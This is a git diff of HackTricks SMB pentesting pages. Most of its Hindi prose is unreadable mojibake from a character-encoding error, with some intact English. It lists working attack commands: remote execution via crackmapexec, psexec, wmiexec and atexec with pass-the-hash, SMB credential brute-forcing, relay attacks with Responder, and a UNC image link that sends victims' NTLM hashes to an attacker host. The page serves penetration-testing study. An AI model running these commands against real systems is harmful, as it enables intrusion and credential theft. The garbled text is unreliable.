рд▓рд┐рд╕реНрдЯрд┐рдВрдЧ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ? | -| `read only = no` | рдХреНрдпрд╛ рдлрд╛рдЗрд▓реЛрдВ рдХреЗ рдирд┐рд░реНрдорд╛рдг рдФрд░ рд╕рдВрд╢реЛрдзрди рдХреЛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░рддрд╛ рд╣реИ? | -| `writable = yes` | рдХреНрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдлрд╛рдЗрд▓реЗрдВ рдмрдирд╛рдиреЗ рдФрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ? | -| `guest ok = yes` | рдХреНрдпрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдмрд┐рдирд╛ рд╕реЗрд╡рд╛ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ? | -| `enable privileges = yes` | рдХреНрдпрд╛ рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ SID рдХреЛ рдЕрд╕рд╛рдЗрди рдХрд┐рдП рдЧрдП рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рд╕рдореНрдорд╛рди рдХрд░рддрд╛ рд╣реИ? | -| `create mask = 0777` | рдирдП рдмрдирд╛рдП рдЧрдП рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рдХрд┐рди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рд╕реМрдВрдкрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП? | -| `directory mask = 0777` | рдирдП рдмрдирд╛рдП рдЧрдП рдбрд╛рдпрд░реЗрдХреНрдЯрд░реАрдЬрд╝ рдХреЛ рдХрд┐рди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рд╕реМрдВрдкрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП? | -| `logon script = script.sh` | рдХрд┐рд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓реЙрдЧрд┐рди рдкрд░ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП? | -| `magic script = script.sh` | рдЬрдм рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдмрдВрдж рд╣реЛ рдЬрд╛рддреА рд╣реИ рддреЛ рдХреМрди рд╕реА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рдиреА рдЪрд╛рд╣рд┐рдП? | -| `magic output = script.out` | magic script рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ рдХрд╣рд╛рдБ рд╕реНрдЯреЛрд░ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП? | +| `browseable = yes` | рдХреНрдпрд╛ рд╡рд░реНрддрдорд╛рди рд╢реЗрдпрд░ рдореЗрдВ рдЙрдкрд▓рдмреНрдз рд╢реЗрдпрд░реЛрдВ рдХреА рд╕реВрдЪреА рджрд┐рдЦрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ? | +| `read only = no` | рдХреНрдпрд╛ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдФрд░ рд╕рдВрд╢реЛрдзрди рд░реЛрдХрддрд╛ рд╣реИ? | +| `writable = yes` | рдХреНрдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдлрд╝рд╛рдЗрд▓реЗрдВ рдмрдирд╛рдиреЗ рдФрд░ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ? | +| `guest ok = yes` | рдХреНрдпрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рдмрд┐рдирд╛ рд╕реЗрд╡рд╛ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ? | +| `enable privileges = yes` | рдХреНрдпрд╛ рд╡рд┐рд╢реЗрд╖ SID рдХреЛ рд╕реМрдВрдкреЗ рдЧрдП рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рд╕рдореНрдорд╛рди рдХрд░рддрд╛ рд╣реИ? | +| `create mask = 0777` | рдирдП рдмрдирд╛рдП рдЧрдП рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдХреМрди рд╕реЗ permissions рдЕрд╕рд╛рдЗрди рдХрд┐рдП рдЬрд╛рдиреЗ рдЪрд╛рд╣рд┐рдП? | +| `directory mask = 0777` | рдирдП рдмрдирд╛рдП рдЧрдП рдбрд┐рд░реЗрдХреНрдЯрд░реАрдЬрд╝ рдХреЛ рдХреМрди рд╕реЗ permissions рдЕрд╕рд╛рдЗрди рдХрд┐рдП рдЬрд╛рдиреЗ рдЪрд╛рд╣рд┐рдП? | +| `logon script = script.sh` | рдХрд┐рд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓реЙрдЧрд┐рди рдкрд░ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП? | +| `magic script = script.sh` | рдЬрдм рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдмрдВрдж рд╣реЛ рдЬрд╛рдП рддреЛ рдХрд┐рд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдЪрд▓рд╛рдирд╛ рдЪрд╛рд╣рд┐рдП? | +| `magic output = script.out` | magic script рдХреЗ рдЖрдЙрдЯрдкреБрдЯ рдХреЛ рдХрд╣рд╛рдБ рд╕реНрдЯреЛрд░ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП? | The command `smbstatus` gives information about the **рд╕рд░реНрд╡рд░** and about **рдХреМрди рдЬреБрдбрд╝рд╛ рд╣реБрдЖ рд╣реИ**. -## Authenticate using Kerberos +## Kerberos рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг -рдЖрдк **рдкреНрд░рдорд╛рдгреАрдХреГрдд** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ **Kerberos** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЯреВрд▓реНрд╕ **smbclient** рдФрд░ **rpcclient**: +You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com ``` -## **Execute Commands** +## **рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ** ### **crackmapexec** -crackmapexec рдХрдорд╛рдВрдб рдЪрд▓рд╛ рд╕рдХрддрд╛ рд╣реИ **abusing** рдХрд┐рд╕реА рднреА **mmcexec, smbexec, atexec, wmiexec** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдЬрд╣рд╛рдБ **wmiexec** **default** рдореЗрдердб рд╣реИред рдЖрдк `--exec-method` рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде рдпрд╣ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк рдХрд┐рд╕ рд╡рд┐рдХрд▓реНрдк рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдкрд╕рдВрдж рдХрд░рддреЗ рд╣реИрдВ: +crackmapexec рдХрд┐рд╕реА рднреА **mmcexec, smbexec, atexec, wmiexec** рдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдХрд╛ **abusing** рдХрд░ рдХреЗ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд╣рд╛рдБ **wmiexec** **default** method рд╣реИред рдЖрдк `--exec-method` parameter рдХреЗ рд╕рд╛рде рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдЖрдк рдХрд┐рд╕ option рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣реЗрдВрдЧреЗ: ```bash apt-get install crackmapexec @@ -380,9 +380,9 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../../windows-hardening/lateral-movement/psexec-and-winexec.md)**/**[**smbexec**](../../windows-hardening/lateral-movement/smbexec.md) -рджреЛрдиреЛрдВ рд╡рд┐рдХрд▓реНрдк рдкреАрдбрд╝рд┐рдд рдорд╢реАрди рдкрд░ _\pipe\svcctl_ (SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдПрдХ рдирдИ рд╕рд░реНрд╡рд┐рд╕ рдмрдирд╛рдПрдВрдЧреЗ** рдФрд░ рдЙрд╕реЗ рдХрд┐рд╕реА рдЪреАрдЬрд╝ рдХреЛ **execute** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ (**psexec** рдПрдХ executable рдлрд╝рд╛рдЗрд▓ ADMIN$ share рдкрд░ **upload** рдХрд░реЗрдЧрд╛ рдФрд░ **smbexec** **cmd.exe/powershell.exe** рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░реЗрдЧрд╛ рдФрд░ arguments рдореЗрдВ payload рд░рдЦреЗрдЧрд╛ --**file-less technique-**-).\ -**рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА** [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md)рдФрд░ [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ -**kali** рдореЗрдВ рдпрд╣ рд╕реНрдерд┐рдд рд╣реИ /usr/share/doc/python3-impacket/examples/ +рджреЛрдиреЛрдВ рд╡рд┐рдХрд▓реНрдк рдкреАрдбрд╝рд┐рдд рдорд╢реАрди рдореЗрдВ SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ _\pipe\svcctl_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдПрдХ рдирдИ рд╕реЗрд╡рд╛ рдмрдирд╛рдПрдБрдЧреЗ** рдФрд░ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ **рдХреБрдЫ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП** рдХрд░реЗрдВрдЧреЗ (**psexec** рдПрдХ executable file рдХреЛ ADMIN$ share рдкрд░ **рдЕрдкрд▓реЛрдб** рдХрд░реЗрдЧрд╛ рдФрд░ **smbexec** **cmd.exe/powershell.exe** рдХреА рдУрд░ рдкреЙрдЗрдВрдЯ рдХрд░реЗрдЧрд╛ рдФрд░ arguments рдореЗрдВ payload рдбрд╛рд▓реЗрдЧрд╛ --**file-less technique-**-).\ +**рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА** [**psexec** ](../../windows-hardening/lateral-movement/psexec-and-winexec.md) рдФрд░ [**smbexec**](../../windows-hardening/lateral-movement/smbexec.md).\ +**kali** рдореЗрдВ рдпрд╣ /usr/share/doc/python3-impacket/examples/ рдкрд░ рд╕реНрдерд┐рдд рд╣реИ ```bash #If no password is provided, it will be prompted ./psexec.py [[domain/]username[:password]@] @@ -390,19 +390,19 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` -**parameter**`-k` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк **NTLM** рдХреЗ рдмрдЬрд╛рдп **kerberos** рдХреЗ рдЦрд┐рд▓рд╛рдл authenticate рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ +**рдкреИрд░рд╛рдореАрдЯрд░**`-k` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк **NTLM** рдХреА рдмрдЬрд╛рдп **kerberos** рдХреЗ рд╕рд╛рде рдкреНрд░рдорд╛рдгреАрдХреГрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ ### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec -DCOM рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **port 135.** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдбрд┐рд╕реНрдХ рдХреЛ рдЫреБрдП рдмрд┐рдирд╛ рдпрд╛ рдХреЛрдИ рдирдпрд╛ service рдЪрд▓рд╛рдП рдмрд┐рдирд╛ рдЧреБрдкреНрдд рд░реВрдк рд╕реЗ рдПрдХ command shell рдЪрд▓рд╛рдПрдБред\ -**kali** рдореЗрдВ рдпрд╣ рд╕реНрдерд┐рдд рд╣реИ /usr/share/doc/python3-impacket/examples/ +рдбрд┐рд╕реНрдХ рдХреЛ рдЫреБрдП рдмрд┐рдирд╛ рдпрд╛ рдХреЛрдИ рдирдпрд╛ service рдЪрд▓рд╛рдП рдмрд┐рдирд╛ DCOM рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЪреБрдкрдХреЗ рд╕реЗ рдПрдХ command shell рдЪрд▓рд╛рдПрдБ **port 135.**\ +рдпрд╣ **kali** рдореЗрдВ /usr/share/doc/python3-impacket/examples/ рдкрд░ рд╕реНрдерд┐рдд рд╣реИ/ ```bash #If no password is provided, it will be prompted ./wmiexec.py [[domain/]username[:password]@] #Prompt for password ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` -рдЖрдк **рдкреИрд░рд╛рдореАрдЯрд░** `-k` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **kerberos** рдХреЗ рд╕рд╛рде рдкреНрд░рдорд╛рдгреАрдХреГрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, **NTLM** рдХреЗ рдмрдЬрд╛рдпред +**рдкреИрд░рд╛рдореАрдЯрд░**`-k` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк **NTLM** рдХреА рдмрдЬрд╛рдп **kerberos** рдХреЗ рд╕рд╛рде рдкреНрд░рдорд╛рдгреАрдХреГрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] @@ -411,8 +411,8 @@ DCOM рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **port 135.** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХ ``` ### [AtExec](../../windows-hardening/lateral-movement/atexec.md) -Task Scheduler рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ (_\pipe\atsvc_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ).\ -рдпрд╣ **kali** рдореЗрдВ /usr/share/doc/python3-impacket/examples/ рдкрд░ рд╕реНрдерд┐рдд рд╣реИ +Task Scheduler рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдорд╛рдВрдб рдЪрд▓рд╛рдПрдБ (SMB рдХреЗ рдЬрд░рд┐рдП _\pipe\atsvc_ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ).\ +**kali** рдореЗрдВ рдпрд╣ рд╕реНрдерд┐рдд рд╣реИ: /usr/share/doc/python3-impacket/examples/ ```bash ./atexec.py [[domain/]username[:password]@] "command" ./atexec.py -hashes administrator@10.10.10.175 "whoami" @@ -429,19 +429,19 @@ ksmbd-attack-surface-and-fuzzing-syzkaller.md ## **Bruteforce users credentials** -**рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ рд╣реИ; рдпрджрд┐ рдЖрдк рдЕрдзрд┐рдХрддрдо рдЕрдиреБрдордд рдкреНрд░рдпрд╛рд╕реЛрдВ рд╕реЗ рдЕрдзрд┐рдХ рдХрд░рддреЗ рд╣реИрдВ рддреЛ рдЦрд╛рддрд╛ рдмреНрд▓реЙрдХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред** +**рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд┐рдд рдирд╣реАрдВ рд╣реИ, рдпрджрд┐ рдЖрдк рдЕрдзрд┐рдХрддрдо рдЕрдиреБрдордд рдкреНрд░рдпрд╛рд╕реЛрдВ рд╕реЗ рдЕрдзрд┐рдХ рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ рддреЛ рдЖрдк рдХрд┐рд╕реА рдЦрд╛рддреЗ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` ## SMB relay attack -рдпрд╣ рд╣рдорд▓рд╛ Responder toolkit рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ **capture SMB authentication sessions** рдХрд░рдиреЗ рдФрд░ рдЙрдиреНрд╣реЗрдВ **relays** рдХрд░рдХреЗ рдПрдХ **target machine** рдкрд░ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрджрд┐ authentication **session is successful** рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдЕрдкрдиреЗ рдЖрдк рдЖрдкрдХреЛ рдПрдХ **system** **shell** рдореЗрдВ рдбрд╛рд▓ рджреЗрдЧрд╛ред\ +рдпрд╣ рд╣рдорд▓рд╛ Responder toolkit рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ **capture SMB authentication sessions** рдХреЛ рдкрдХрдбрд╝рддрд╛ рд╣реИ, рдФрд░ рдЙрдиреНрд╣реЗрдВ **relays** рдХрд░рдХреЗ рдПрдХ **target machine** рдкрд░ рднреЗрдЬрддрд╛ рд╣реИред рдпрджрд┐ authentication **session рд╕рдлрд▓ рд╣реЛрддрд╛ рд╣реИ**, рддреЛ рдпрд╣ рд╕реНрд╡рддрдГ рд╣реА рдЖрдкрдХреЛ рдПрдХ **system** **shell** рдореЗрдВ рдбрд╛рд▓ рджреЗрдЧрд╛ред\ [**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap -Windows рд▓рд╛рдЗрдмреНрд░реЗрд░реА URLMon.dll рд╕реНрд╡рддрдГ рд╣реА host рдХреЛ authenticate рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреА рд╣реИ рдЬрдм рдХреЛрдИ рдкреЗрдЬ SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рд╕реА content рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: `img src="\\10.10.10.10\path\image.jpg"` +Windows рд▓рд╛рдЗрдмреНрд░реЗрд░реА URLMon.dll рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ host рдХреЗ рд╕рд╛рде authenticate рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреА рд╣реИ рдЬрдм рдХреЛрдИ рдкреЗрдЬ SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рд╕реА рдХрдВрдЯреЗрдВрдЯ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: `img src="\\10.10.10.10\path\image.jpg"` This happens with the functions: @@ -460,11 +460,11 @@ Which are used by some browsers and tools (like Skype) ## NTLM Theft -SMB Trapping рдХреЗ рд╕рдорд╛рди, target system рдкрд░ malicious files рдкреНрд▓рд╛рдВрдЯ рдХрд░рдиреЗ рд╕реЗ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП SMB рдХреЗ рдЬрд░рд┐рдП) рдПрдХ SMB authentication attempt рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ NetNTLMv2 hash рдХреЛ Responder рдЬреИрд╕реЗ tool рдХреЗ рд╕рд╛рде intercept рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдлрд┐рд░ рдЙрд╕ hash рдХреЛ offline crack рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ [SMB relay attack](#smb-relay-attack) рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +SMB Trapping рдХреЗ рд╕рдорд╛рди, рд▓рдХреНрд╖реНрдп рд╕рд┐рд╕реНрдЯрдо рдкрд░ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП SMB рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ) malicious рдлрд╛рдЗрд▓реЗрдВ рд░рдЦрдХрд░ рдПрдХ SMB authentication рдкреНрд░рдпрд╛рд╕ рдЙрддреНрдкрдиреНрди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ NetNTLMv2 hash рдХреЛ Responder рдЬреИрд╕реЗ tool рд╕реЗ intercept рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдмрд╛рдж рдЙрд╕ hash рдХреЛ offline рдореЗрдВ crack рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ [SMB relay attack](#smb-relay-attack) рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред [See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) -## HackTricks рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрдорд╛рдВрдб +## HackTricks Automatic Commands ``` Protocol_Name: SMB #Protocol Abbreviation if there is one. Port_Number: 137,138,139 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md index 950860f0c..be672fa00 100644 --- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md +++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md @@ -1,16 +1,16 @@ -# ksmbd рдЖрдХреНрд░рдордг рд╕рддрд╣ & SMB2/SMB3 рдкреНрд░реЛрдЯреЛрдХреЙрд▓ fuzzing (syzkaller) +# ksmbd Attack Surface & SMB2/SMB3 Protocol Fuzzing (syzkaller) {{#include ../../banners/hacktricks-training.md}} -## рдЕрд╡рд▓реЛрдХрди -рдпрд╣ рдкреГрд╖реНрда syzkaller рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Linux in-kernel SMB server (ksmbd) рдХреЛ рдЯреЗрд╕реНрдЯ рдФрд░ fuzz рдХрд░рдиреЗ рдХреА рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рддрдХрдиреАрдХреЛрдВ рдХрд╛ рд╕рд╛рд░ рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИред рдпрд╣ configuration рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдЖрдХреНрд░рдордг рд╕рддрд╣ рдХреЛ рдмрдврд╝рд╛рдиреЗ, stateful harness рдмрдирд╛рдиреЗ рдЬреЛ SMB2 operations рдХреЛ chain рдХрд░ рд╕рдХреЗ, grammar-valid PDUs рдЬрдирд░реЗрдЯ рдХрд░рдиреЗ, weakly-covered code paths рдореЗрдВ mutations рдХреЛ bias рдХрд░рдиреЗ, рдФрд░ syzkaller рдХреА рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдЬреИрд╕реЗ focus_areas рдФрд░ ANYBLOB рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИред рдЬрдмрдХрд┐ рдореМрд▓рд┐рдХ рд░рд┐рд╕рд░реНрдЪ рдореЗрдВ specific CVEs рд╕реВрдЪреАрдмрджреНрдз рд╣реИрдВ, рдпрд╣рд╛рдБ рд╣рдо рдкреБрди: рдЙрдкрдпреЛрдЧ рдпреЛрдЧреНрдп methodology рдФрд░ concrete snippets рдкрд░ рдЬреЛрд░ рджреЗрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рдЕрдкрдиреЗ setups рдХреЗ рд▓рд┐рдП рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +## Overview +рдпрд╣ рдкреГрд╖реНрда syzkaller рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Linux in-kernel SMB server (ksmbd) рдХреЛ рдПрдХреНрд╕рд░рд╕рд╛рдЗрдЬрд╝ рдФрд░ рдлрдЬрд╝ рдХрд░рдиреЗ рдХреЗ рд╡реНрдпрд╛рд╡рд╣рд╛рд░рд┐рдХ рддрд░реАрдХреЗ рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ рдмрддрд╛рддрд╛ рд╣реИред рдпрд╣ configuration рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ attack surface рдХреЛ рдмрдврд╝рд╛рдиреЗ, SMB2 рдСрдкрд░реЗрд╢рдиреЛрдВ рдХреЛ chain рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо stateful harness рдмрдирд╛рдиреЗ, grammar-valid PDUs рдЬрдирд░реЗрдЯ рдХрд░рдиреЗ, рдХрдордЬреЛрд░-рдХрд╡рд░реНрдб рдХрд┐рдП рдЧрдП рдХреЛрдб рдкрд╛рдереНрд╕ рдкрд░ mutations рдХреЛ bias рдХрд░рдиреЗ, рдФрд░ syzkaller рдХреА рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдЬреИрд╕реЗ focus_areas рдФрд░ ANYBLOB рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИред рдЬрдмрдХрд┐ рдореВрд▓ рд░рд┐рд╕рд░реНрдЪ рд╡рд┐рд╢рд┐рд╖реНрдЯ CVEs рдХреЛ рд╕реВрдЪреАрдмрджреНрдз рдХрд░рддреА рд╣реИ, рдпрд╣рд╛рдБ рд╣рдо рдкреБрди:рдЙрдкрдпреЛрдЧ рдпреЛрдЧреНрдп methodology рдФрд░ рдРрд╕реЗ concrete рд╕реНрдирд┐рдкреЗрдЯреНрд╕ рдкрд░ рдЬреЛрд░ рджреЗрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рдЖрдк рдЕрдкрдиреЗ рд╕реЗрдЯрдЕрдк рдореЗрдВ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред -рд▓рдХреНрд╖рд┐рдд рджрд╛рдпрд░рд╛: SMB2/SMB3 over TCP. Kerberos рдФрд░ RDMA рдЬрд╛рдирдмреВрдЭрдХрд░ рджрд╛рдпрд░реЗ рд╕реЗ рдмрд╛рд╣рд░ рд░рдЦреЗ рдЧрдП рд╣реИрдВ рддрд╛рдХрд┐ harness рд╕рд░рд▓ рд░рд╣реЗред +Target scope: SMB2/SMB3 over TCP. Kerberos рдФрд░ RDMA рдЬрд╛рдирдмреВрдЭрдХрд░ рдЖрдЙрдЯ-рдСрдл-рд╕реНрдХреЛрдк рд╣реИрдВ 